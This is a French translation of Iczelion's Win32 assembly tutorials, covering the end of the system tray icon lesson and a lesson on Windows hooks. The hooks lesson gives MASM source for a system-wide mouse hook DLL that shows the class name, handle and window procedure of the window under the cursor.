  • uFlags indique à Windows que l'Item du menu qui doit y être ajouté est un bitmap ou une chaîne de caractères ou bien encore un Item possédant d'autres sous-Items, activé (enable), grisé (gray) ou désactivé (disable) etc. Vous pouvez obtenir la liste complète avec la référence api win32. Dans notre exemple, nous employons MF_STRING ce qui signifie que l'Item du menu est une simple chaîne de caractères.
  • uIDNewItem est l'ID de l'Item du menu. C'est une valeur définie par l'utilisateur, elle est employée pour représenter l'Item du menu.
  • lpNewItem est le contenu de l'Item, d'après ce que vous avez spécifié dans le membre uFlags. Puisque nous mettons MF_STRING dans le membre uFlags, lpNewItem doit contenir le pointer de la chaîne de caractères qui doit être affichée dans le menu popup.
Après que le menu popup est été créé, la fenêtre principale attend patiemment que l'utilisateur appuie sur le bouton de réduction (minimum).
Quand une fenêtre est réduite au minimum, elle reçoit le message WM_SIZE avec la valeur SIZE_MINIMIZED dans wParam.

.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif

Nous profitons de cette occasion pour remplir la structure NOTIFYICONDATA. 'IDI_tray' est juste une constante définie au début du code source. Vous pouvez lui donner la valeur que vous souhaitez. Ce n'est pas important puisque on a seulement un seul 'Tray Icon'. Mais si on en avait plusieurs dans notre 'System Tray', on aurait besoin d'IDs uniques pour chaque 'tray icon'. On définit tous les flags suivants dans le membre uFlags parce que nous spécifions une icône (NIF_ICON), nous spécifions un (message sur mesure NIF_MESSAGE et nous spécifions le texte tooltip (NIF_TIP) (Le texte qui est pésenté dans une bulle). WM_SHELLNOTIFY est seulement un message sur mesure (custum) défini comme WM_USER+5. La valeur réelle n'est pas importante tant qu'elle reste unique. Ici, j'emploie l'icône winlogo comme 'tray icon' mais vous pouvez employer n'importe quelle icône dans votre programme. Chargez-le juste en ressource avec LoadIcon et mettez l'handle renvoyé dans le membre hIcon. Finalement, nous mettons (dans szTip) le texte que nous voulons que la bulle affiche lorsque la souris passe au dessus de notre icône.
Nous cachons la fenêtre principale pour donner l'illusion de sa disparition en la "réduisant au minimum en une icône du 'System Tray'".
Ensuite nous appelons Shell_NotifyIcon avec le message NIM_ADD pour ajouter une icône au system tray.

Maintenant notre fenêtre principale est cachée et l'icône est réduite dans le 'System Tray'. Si vous passez la souris au-dessus, vous verrez un tooltip (une bulle) qui montre le texte que nous avons mis dans le membre szTip. Ensuite, si vous double cliquez sur l'icône, la fenêtre principale réapparaîtra et le 'tray icon' disparaîtra.

.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif

Quand un événement souris arrive au tray icon (un clique de souris sur notre icône), notre fenêtre reçoit le message WM_SHELLNOTIFY qui est le message fait sur mesure que nous avons déclaré dans le membre uCallbackMessage. Rappelons-nous qu'à la réception de ce message, wParam contient l'ID du 'tray icon' et lParam contient le message actuel de la souris. Dans le code ci-dessus, nous vérifions d'abord si ce message vient du 'tray icon' auquel nous nous intéressons. Si c'est le cas, on vérifie le message actuel de la souris. Puisque nous sommes uniquement intéressés au 'clique droit de la souris' et au "double clique gauche", on s'occupe seulement des messages WM_RBUTTONDOWN et WM_LBUTTONDBLCLK.
Si le message de la souris est WM_RBUTTONDOWN, nous appelons GetCursorPos pour obtenir les coordonnées actuelles du curseur de la souris sur l'écran. Après avoir reçu les données renvoyées par cette fonction, la structure POINT est remplie des coordonnées du curseur de la souris. Par les coordonnées, je veux dire les coordonnées entières sans qu'il n'y ait aucune frontière de fenêtre (on parle vraiment de l'écran dans sa totalité). Par exemple, si la résolution de votre écran est 640*480, le coin 'inférieur droit' de l'écran est x = 639 et y = 479. Si vous voulez convertir les coordonnées de l'écran en coordonnées de fenêtre, utilisez la fonction ScreenToClient.
Cependant, pour notre but, nous voulons afficher le menu popup à la position actuelle du curseur de la souris avec l'appel TrackPopupMenu et cette fonction exige des coordonnées d'écran, nous pouvons donc directement utiliser les coordonnées remplies par GetCursorPos.
TrackPopupMenu a la syntaxe suivante :

    TrackPopupMenu PROTO hMenu:DWORD, uFlags:DWORD, x:DWORD, y:DWORD, nReserved:DWORD, hWnd:DWORD, prcRect:DWORD
  • hMenu est l'handle du menu popup être affiché.
  • uFlags indique les options de la fonction. Comme l'endroit où placer le menu par rapport aux coordonnées spécifiées plus tard ou bien quel bouton de la souris sera employé pour montrer le menu. Dans notre exemple, nous employons TPM_RIGHTALIGN pour placer le menu popup à gauche des coordonnées.
  • x et y indiquent l'emplacement du menu (en coordonnées d'écran).
  • nReserved doit être NULL
  • hWnd est l'handle de la fenêtre qui recevra les messages du menu.
  • prcRect est un rectangle sur l'écran dans lequel il est possible de cliquer sans écarter le menu. Normalement nous mettons un NULL ici, comme ça lorsque l'utilisateur clique où que ce soit à l'extérieur du menu popup, le menu est écarté (déplacé).
Quand l'utilisateur double clique sur le 'tray icon', on envoie un message WM_COMMAND à notre propre fenêtre en spécifiant IDM_RESTORE pour imiter une sélection faite par l'utilisateur pour 'restorer'(réagrandir) la fenêtre principale et enlever l'icône (de notre programme) du 'System Tray'. Pour être capable de recevoir le message de double-clic, la fenêtre principale doit avoir le style CS_DBLCLKS.

invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif

Quand l'utilisateur sélectionne l'Item de 'restoration' du menu, nous enlevons le 'tray icon' en appelant à nouveau Shell_NotifyIcon, cette fois nous spécifions NIM_DELETE comme message. Ensuite, nous rétablissons la fenêtre principale à son état d'origine. Si l'utilisateur choisit l'Item 'de Sortie' du menu, nous enlevons aussi l'icône du 'System tray' et détruisons la fenêtre principale en appelant DestroyWindow.

[Iczelion's Win32 Assembly Homepage]
Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 24: Windows Hooks

Tutorial 24: Windows Hooks
(Hook=Crochet)

Nous allons voir ce que sont les Windows Hooks dans ce Tutorial. Les Windows Hooks sont très puissants. Grâce à eux, vous pouvez fouiner à l'intérieur d'autres processus (programmes) et quelques fois changer leurs comportements.
Downloadez l'exemple ici.

Théorie:

Les Windows Hooks peuvent être considérés comme une des particularités les plus puissantes de Windows. Avec elles, vous pourrez prendre au piège les événements qui se produisent dans votre propre process ou bien dans d'autres processus. (exemple vous verrez apparaître dans votre fenêtre le n° qui sert d'handle à un bouton ou à une boîte se saisie…ça sert à ça un Hook). En "accrochant" (en Hookant), vous informez Windows sur les caractéristiques de la fonction Hookée. Notre fonction de filtre est aussi appelée la procédure d'hook, laquelle sera appelée à chaque fois qu'un événement intéressant se produit. Il y en a deux types en fait : les Hooks locaux et éloignés.
  • Les Hooks locaux prennent au piège les événements qui sont en train de se passer dans votre propre process.
  • Les Hooks éloignés prennent au piège les événements qui sont en train de se passer dans d'autres process. Il y a deux types d'Hooks éloignés.
    • thread-specific (ou lien-spécifique) prend au piège les événements qui se passent dans un lien spécifique dans d'autres process. Bref, il vous sert à observer des événements d'un lien spécifique à l'intérieur d'un process spécifique.
    • system-wide (système-large) prend au piège tous les événements destinés à tous les liens dans tous les processus dans le système.
Quand vous mettez en place des Hooks, rappelez-vous qu'ils ont une influence sur les performances du système. Les 'System-Wide Hooks' sont tristement célèbres. Puisque TOUS les événements de liens seront mis en déroute par votre fonction de filtre (votre procédure d'Hooks), votre système peut être relativement ralentir. Ainsi si vous employez un 'System-Wide Hook', vous devez l'utiliser judicieusement et non pas l'accrocher aussitôt même si vous n'en avez pas encore besoin. Donc, vous avez de grandes chances de faire planter les autres processus puisque vous pouvez toucher au fonctionnement d'autres processus et si il y a quelque chose d'incorrecte dans votre fonction de filtre, il se peut que les autres programmes restent en attente. Souvenez-vous en : 'le pouvoir vient de paire avec la responsabilité'.
Vous devez vraiment comprendre le fonctionnement d'un hook avant que vous ne puissiez l'employer efficacement. Quand vous créez un hook, Windows crée une structure de données dans la mémoire, contenant l'information sur le hook et l'ajoute à une liste liée de Hooks existant. Le nouvel hook est ajouté devant les vieux Hooks. Lorsqu'un événement arrive, si vous faites appel à un hook local, la fonction de filtre de votre programme sera appelée, donc c'est plus direct. Mais si c'est un hook éloigné, le système doit injecter le code pour la procédure d'hook dans l'espace d'adresse d'un autre process. Et le système peut faire ça uniquement si la fonction se trouve dans un DLL. Ainsi, si vous voulez employer un hook éloigné, votre procédure d'hook doit résider dans un DLL. Il y a deux exceptions à cette règle: l'écriture d'un journal et la lecture d'un journal d'Hooks. Les procédures d'hook pour ce deux Hooks doivent résider dans le lien qui mettent en place les Hooks. La raison pourquoi çà doit être ainsi c'est que : les deux Hooks fonctionnent avec des interceptions de bas niveau d'événements d'entrée matériel. Les événements d'entrée doivent être (recorded/playbacked) enregistrés/lus dans l'ordre où ils sont apparus. Si le code de ces deux Hooks sont dans un DLL, les événements d'entrée peuvent se disperser parmi plusieurs liens et il est impossible de connaître leur ordre les uns par rapport aux autres. Donc la solution c'est que : la procédure d'hook de ce deux Hooks doit être dans un lien simple seulement c'est-à-dire le lien qui installe les Hooks.
Il y a 14 types d'Hooks :
  • WH_CALLWNDPROC est appelé quand SendMessage est appelé
  • WH_CALLWNDPROCRET est appelé lors du retours de SendMessage.
  • WH_GETMESSAGE est appelé quand GetMessage ou PeekMessage sont appelés
  • WH_KEYBOARD est appelé quand GetMessage ou PeekMessage récupèrent le message WM_KEYUP ou WM_KEYDOWN dans la file d'attente (des messages).
  • WH_MOUSE est appelé quand GetMessage ou PeekMessage récupère un message provenant de la souris dans la file d'attente des messages.
  • WH_HARDWARE est appelé quand GetMessage ou PeekMessage récupère certains messages en provenance de votre matériel, mais qui n'ont pas de rapport avec le clavier ou la souris.
  • WH_MSGFILTER est appelé pour une DialogBox, quand son menu ou un scrollbar est sur le point de traiter un message. Cet hook est local. Il a été spécifiquement conçu pour des objets qui ont leurs propres boucles de message internes.
  • WH_SYSMSGFILTER c'est la même chose que pour WH_MSGFILTER mais pour un système-large (system-wide).
  • WH_JOURNALRECORD est appelé quand Windows récupère le message dans la file d'attente d'une entrée matériel.
  • WH_JOURNALPLAYBACK est appelé quand un événement est requit dans la file d'attente d'entrée matériel du système.
  • WH_SHELL est appelé quand quelque chose d'intéressant provenant du Sell arrive, comme quand la barre de tâche a besoin de rafraîchir (redessiner) ses boutons.
  • WH_CBT est spécialement employé pour la formation assistée par ordinateur. (CBT)
  • WH_FOREGROUNDIDLE est employé intérieurement par Windows. C'est vraiment très peu utilisé pour applications générales.
  • WH_DEBUG est employé pour 'debugger' la procédure se faisant Hooker.
Maintenant que nous avons pris connaissance de la théorie, nous pouvons nous concentrer sur le fait de savoir comment installer/désinstaller des Hooks.
Pour installer un hook, on appelle la fonction SetWindowsHookEx qui a la syntaxe suivante :
SetWindowsHookEx proto HookType:DWORD, pHookProc:DWORD, hInstance:DWORD, ThreadID:DWORD
  • HookType est une des valeurs inscrites ci-dessus, par exemple,WH_MOUSE, WH_KEYBOARD
  • pHookProc est l'adresse de la procédure d'hook qui sera appelée pour traiter les messages du hook spécifié. Si c'est un hook éloigné, il doit résider dans un DLL. Si ce n'est pas le cas, il doit appartenir à votre prog.
  • hInstance est l'instance handle du DLL dans lequel la procédure d'hook réside. Si le hook est local, cette valeur doit être NULL.
  • ThreadID est l'ID du lien sur lequel vous aimeriez installer votre hook pour l'espionner. C'est ce paramètre qui détermine si le hook est local ou éloigné. Si ce paramètre est NULL, Windows interprétera votre hook comme un hook système-large éloigné qui s'attaque à tous les liens, dans le système. Si vous spécifiez l'ID d'un lien de votre propre processus (programme), cet hook est local. Si vous spécifiez l'ID d'un autre processus, votre hook est un lien-spécifique éloigné. Il y a deux exceptions à cette règle :WH_JOURNALRECORD et WH_JOURNALPLAYBACK sont toujours des 'system-wide hooks' locaux (système-large), lequels n'ont pas besoin d'être dans un DLL. Et WH_SYSMSGFILTER est toujours un 'system-wide hook' éloigné. En réalité il est identique au hookWH_MSGFILTER avec ThreadID=0 (avec pour ID du lien une valeur NULL).
si l'appel est couronné de succès, il renvoie l'handle du hook dans eax. Si c'est pas le cas, un NULL est renvoyé dans eax. Vous devez sauvegarder l'handle du hook pouvoir 'déhooker' plus tard.
Vous pouvez désinstaller votre hook en appelant UnhookWindowsHookEx lequel accepte qu'un seul paramètre, l'handle du hook que vous voulez désinstaller. Si l'appel réussit, il renvoie une valeur non-nulle dans eax. Sinon, il renvoie le NULL (forcément).
Maintenant que vous savez comment installer/désinstaller des Hooks, nous pouvons examiner la procédure d'hook en elle-même.
La procédure d'hook sera appelée à chaque fois qu'un événement étant associé au type de hook que vous a installé, arrive. Par exemple, si vous installez le hook WH_MOUSE quand un événement de souris arrive, votre procédure d'hook sera appelée. Indépendamment du type de hook que vous avez installé, la procédure d'hook a toujours le prototype suivant :
    HookProc proto nCode:DWORD, wParam:DWORD, lParam:DWORD
    • nCode indique le code du hook.
    • wParam et lParam contiennent une information complémentaire à propos de l'événement.
HookProc est en réalité le détenteur du nom de la fonction. Vous pouvez le nommer comme ça vous chante tant qu'il a le prototype vu ci-dessus. L'interprétation de nCode, wParam et lParam dépend du type de hook que vous avez installé. Donc de la valeur de retour de la procédure d'hook. Par exemple :
WH_CALLWNDPROC
  • nCode peut seulement être HC_ACTION ce qui signifie qu'il y a un message envoyé à une fenêtre.
  • wParam contient le message qui vient d'être envoyé, si ce n'est pas le cas il prendra la valeur zéro.
  • lParam pointe sur la structure CWPSTRUCT.
  • La valeur de retour: si on ne l'emploie pas , on gardera un retour NULL.
WH_MOUSE
  • nCode peut être soit HC_ACTION soit HC_NOREMOVE.
  • wParam contient le message de la souris.
  • lParam pointe sur la structure MOUSEHOOKSTRUCT.
  • La valeur de retour: est '0' si le message doit être traité. Et '1' si le message doit être abandonné.
Vous devez consulter votre référence win32 api pour de plus amples détails à propos de la signification des paramètres et de la valeur de retour des hooks que vous souhaitez installer.
Maintenant il reste un petit truc à comprendre à propos de la procédure d'hook. Rappelez-vous que votre Hook est mis à la suite et en tête de la liste des hooks installés les plus récemment (dans une liste de liée à votre prog). Quand un événement arrive, Windows appellera uniquement le premier hook de la liste. C'est le devoir de votre procédure d'hook d'appeler le hook suivant dans la liste. Vous pouvez choisir de ne pas appeler le hook suivant mais vous, mieux mieux que quiconque, savez ce que vous faites. La plupart du temps, c'est une bonne chose d'appeler la procédure suivante, comme ça les autres Hooks sont prêts. Vous pouvez appeler le hook suivant en appelant CallNextHookEx lequel possède le prototype suivant :
CallNextHookEx proto hHook:DWORD, nCode:DWORD, wParam:DWORD, lParam:DWORD
  • hHook est l'handle de votre propre hook. La fonction emploie cet handle pour fouiller la liste et chercher la procédure d'hook qu'elle doit appeler ensuite.
  • nCode, wParam et lParam sont seulement trois valeurs que vous avez la possibilité de passer à d'autres fonctions. On les reçoit après l'appel: CallNextHookEx.
Un point important sur les Hooks éloignés : la procédure d'hook doit résider dans un DLL lequel sera 'mappé' (configuré) dans d'autres processus. (Voir le tutorial 13). Lorsque Windows 'mappe' le DLL dans d'autres processus, il ne 'mappera' pas la section des données à l'intérieur de ces autres processus. Bref, tous les processus (les autres programmes) partagent une unique copie du code mais ils auront leur propre copie privée de la section des données du DLL! Ça peut être une surprise de taille pour les imprudents. Vous pouvez penser que lorsque vous stockez une valeur dans une variable appartenant à la section des données du DLL, que cette valeur sera partagée entres chacun des processus qui font appel à ce DLL., mais ce n'est pas tout à fait vrai. Dans une situation normale, ça se passe bien comme ça puisque on a l'illusion que chaque processus a sa propre copie du DLL. Mais ce n'est pas le cas quand hook de Windows est concerné. Nous souhaitons que le DLL soit identiques pour tous les processus, incluant les données. La solution : on doit marquer la section des données en tant que section partagée. On peut faire ça en spécifiant l'attribut de section dans le commutateur de linker. Pour MASM, vous avez besoin d'employer ce commutateur :
/SECTION:<section name>, S
Le nom de la section des données initialisées est .data et les données non initialisées sont .bss. Par exemple si vous voulez assembler un DLL qui contient une procédure d'hook et que vous voulez que la section des données non initialisée soit partagée entre plusieurs processus, vous devez employer la ligne suivante :
link /section:.bss,S /DLL /SUBSYSTEM:WINDOWS ..........
L'attribut 'S' marque la section en tant que section partagée.

Exemple:

En fait il faut deux modules : Il y a le programme principal qui affichera les éléments graphiques du GUI (comme d'habitude, ex : les boutons la zone de saisie…) et l'autre partie c'est le DLL qui installera/désinstallera le hook.

;--------------------------------------------- Voici le code source du programme principal --------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include mousehook.inc
includelib mousehook.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>

.const
IDD_MAINDLG equ 101
IDC_CLASSNAME equ 1000
IDC_HANDLE equ 1001
IDC_WNDPROC equ 1002
IDC_HOOK equ 1004
IDC_EXIT equ 1005
WM_MOUSEHOOK equ WM_USER+6

DlgFunc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
HookFlag dd FALSE
HookText db "&Hook",0
UnhookText db "&Unhook",0
template db "%lx",0

.data?
hInstance dd ?
hHook dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDLG,NULL,addr DlgFunc,NULL
invoke ExitProcess,NULL

DlgFunc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL hLib:DWORD
LOCAL buffer[128]:byte
LOCAL buffer1[128]:byte
LOCAL rect:RECT
.if uMsg==WM_CLOSE
.if HookFlag==TRUE
invoke UninstallHook
.endif
invoke EndDialog,hDlg,NULL
.elseif uMsg==WM_INITDIALOG
invoke GetWindowRect,hDlg,addr rect
invoke SetWindowPos, hDlg, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif
.elseif uMsg==WM_COMMAND
.if lParam!=0
mov eax,wParam
mov edx,eax
shr edx,16
.if dx==BN_CLICKED
.if ax==IDC_EXIT
invoke SendMessage,hDlg,WM_CLOSE,0,0
.else
.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif
.else
invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL
.endif
.endif
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgFunc endp

end start

;--------------------------------------------------- Et voici enfin le code source du DLL ------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.const
WM_MOUSEHOOK equ WM_USER+6

.data
hInstance dd 0

.data?
hHook dd ?
hWnd dd ?

.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif
mov eax,TRUE
ret
DllEntry Endp

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp

End DllEntry

;--------------------------------C'est le makefile du DLL (le moyen de l'assembler)------------------------------

NAME=mousehook
$(NAME).dll: $(NAME).obj
Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm\lib $(NAME).obj
$(NAME).obj: $(NAME).asm
ml /c /coff /Cp $(NAME).asm

Analyse:

Cet exemple ouvrira une boîte de dialogue avec trois commandes d'éditions dans lesquels seront affichés : le nom de classe (Class Name), l'handle de la fenêtre (ou de l'objet) et l'adresse de la procédure de fenêtre (Window Proc). Ces 3 paramètres n'appartiendront pas forcément à votre propre programme, mais plus généralement à n'importe quel objet de n'importe quelle fenêtre sur lequel passe votre curseur de souris. Il y a deux boutons, 'hook' et 'Exit'. Quand vous appuyez sur le bouton 'hook', le programme Hooke l'entrée souris, et le texte du bouton se modifie en 'Unhook'. Quand vous déplacez le curseur de la souris vers une autre fenêtre ou sur un objet quelconque, les renseignements de cette fenêtre seront affichés dans votre fenêtre principale (votre DialogBox). Lorsque vous appuyez sur le bouton 'Unhook', le programme arrête de hooker le objets qui se trouvent sous la souris.
Ce programme utilise une boîte de dialogue en tant que fenêtre principale. On définit un message construit sur mesure (Custum) WM_MOUSEHOOK, lequel sera employé entre le programme principal et son DLL qui contient la fonction d'hook. Lorsque le programme principal reçoit ce message, wParam contient l'handle de la fenêtre (ou de l'objet) sur lequel votre curseur de souris est placé. Bien sûr, c'est un choix arbitraire. J'ai décidé d'envoyer la valeur de l'handle dans wParam pour plus de simplicité. Mais vous pouvez très bien choisir votre propre méthode de communication entre le programme principal et le DLL (contenant le hook).

.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif

Le programme maintient un 'Flag' nommé HookFlag, pour rendre compte de l'état du hook. S'il est 'FALSE'(faux) alors c'est que le hook n'est pas activé. Au contraire s'il est TRUE(vrai) c'est qu'il est actif.
Quand l'utilisateur appuie sur le bouton 'hook', le programme vérifie s'il est déjà installé (actif). Si ce n'est pas le cas, on appelle la fonction InstallHook du hook du DLL pour l'installer. Notez que nous passons l'handle de notre dialogBox principale en tant que paramètre de la fonction pour que le DLL (contenant la fonction d'hook) puisse envoyer les différents messages WM_MOUSEHOOK vers la bonne fenêtre, c'est-à-dire la nôtre.
A partir du moment où le programme est chargé, le DLL est chargé lui aussi. En réalité, les DLLs sont immédiatement chargés après que le programme ait été mis en mémoire. L'entrypoint du DLL est appelé avant même que la première instruction du programme principal ne soit exécuté. (EntryPoint=première ligne de code lue dans un programme=début) Ainsi quand le programme principal se met en route, le(s) DLL(s) est/sont déjà initialisé(s). Nous écrivons le code suivant pour l'entrypoint du DLL :

.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif

Ce code sauvegarde juste l'instance handle du DLL dans une variable globale nommée hInstance pour pouvoir l'utiliser dans la fonction InstallHook. Puisque l'entrypoint du DLL est appelé avant les autres fonctions dans le DLL, l'hInstance est toujours valable. On définit hInstance dans la section .data pour que cette valeur soit prête "pou le processus". Le DLL est 'mappé'(configuré) dans le process, avant même que le curseur de souris ne plane au-dessus des fenêtres ou objets qu'elle doit hooker. Imaginez-vous que par hasard il y ait déjà un DLL qui occupe l'adresse de chargement destinée au DLL (contenant notre hook), alors dans ce cas le DLL serait reconfiguré à une autre adresse. La valeur de 'hInstance' serait remise à jour en prenant en compte la nouvelle adresse de chargement. Lorsque l'utilisateur presse le bouton 'Unhook' puis par la suite le bouton 'Hook', SetWindowsHookEx sera de nouveau appelé. Cependant, cette fois, il utilisera la nouvelle adresse de chargement en tant qu' instance handle mais qui malheureusement sera faux puisque dans notre programme d'exemple, l'adresse de chargement du DLL n'aura pas été changée. Le Hook sera local, c'est pourquoi vous pourrez uniquement hooker les événements de la souris qui arriveront dans votre propre fenêtre. À peine désirable.

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

La fonction InstallHook est très simple en elle-même. Elle sauvegarde l'handle de la fenêtre dans une variable globale nommée hWnd pour l'utiliser plus tard. On appelle alors SetWindowsHookEx pour installer (activer) le hook sous la souris. La valeur de retour de SetWindowsHookEx est stockée dans une variable globale nommée hHook pour l'utiliser avec UnhookWindowsHookEx au moment où on souhaite désactiver ce hook.
Après qu'on ait appelé SetWindowsHookEx, le hook sous la souris est fonctionnel. Chaque fois qu'un événement souris arrive dans le système, MouseProc (votre procédure d'hook) est appelé.

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

La première chose à faire, c'est d'appeler CallNextHookEx pour donner à d'autres Hooks la chance de traiter de nouveaux événements souris. Après ça, on appelle la fonction WindowFromPoint pour retrouver l'handle de la fenêtre (ou de l'objet) auxquelles sont indiquées les coordonnée (écran) de la souris. Remarquez que nous employons POINT dans la structure MOUSEHOOKSTRUCT représenté par lParam en tant que coordonnées actuelles de la souris. Après ça nous envoyons l'handle de la fenêtre (ou de l'objet) au programme principal via PostMessage avec le message WM_MOUSEHOOK. Une chose à se rappeler, c'est que : vous ne devez pas employer SendMessage à l'intérieur de la procédure d'hook, ceci peut provoquer une impasse pour les messages. Je recommande PostMessage. La structure MOUSEHOOKSTRUCT est définie ainsi:

MOUSEHOOKSTRUCT STRUCT DWORD
pt POINT <>
hwnd DWORD ?
wHitTestCode DWORD ?
dwExtraInfo DWORD ?
MOUSEHOOKSTRUCT ENDS

  • 'pt' représente les coordonnées (coordonnées écran) actuelles du curseur de la souris.
  • hwnd est l'handle de la fenêtre qui recevra le message souris. En général, c'est la fenêtre qui se trouve sous le curseur de la souris, mais pas toujours. Si une fenêtre appelle SetCapture, l'entrée souris sera redirigée spécialement vers cette fenêtre au lieu de celle sur laquelle passe notre souris. À cause de ça, je n'utilise pas le membre hwnd de cette structure, mais par contre j'appelle WindowFromPoint à la place.
  • wHitTestCode représente une valeur de coup d'essai. La valeur de coup d'essai donne plus d'information sur la position actuelle du curseur de la souris. Il indique dans quelle partie de la fenêtre est ce que le curseur souris se trouve. Pour la liste complète, vérifiez votre référence api win32 avec le message WM_NCHITTEST.
  • dwExtraInfo contient l'information supplémentaire associée au message. Normalement cette valeur est créée à partir de l'appel mouse_event et retrouvée en appelant GetMessageExtraInfo.
Quand la fenêtre principale reçoit le message WM_MOUSEHOOK, on emploie l'handle de la fenêtre placé dans wParam pour retrouver l'information de la fenêtre.

.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif

Pour éviter des scintillements, nous vérifions le texte qui est déjà inscrit dans les commandes d'édition avec le texte que nous souhaitons placer à leur place. s'ils sont identiques, on saute par dessus l'instruction de réécriture.
Nous retrouvons le nom de classe (la Class Name) en appelant GetClassName, et l'adresse de la procédure de fenêtre (La Window Proc) en appelant GetClassLong avec GCL_WNDPROC puis les mettons ensuite sous forme de chaînes de caractères pour les placer dans les contrôles d'édition appropriés.

invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
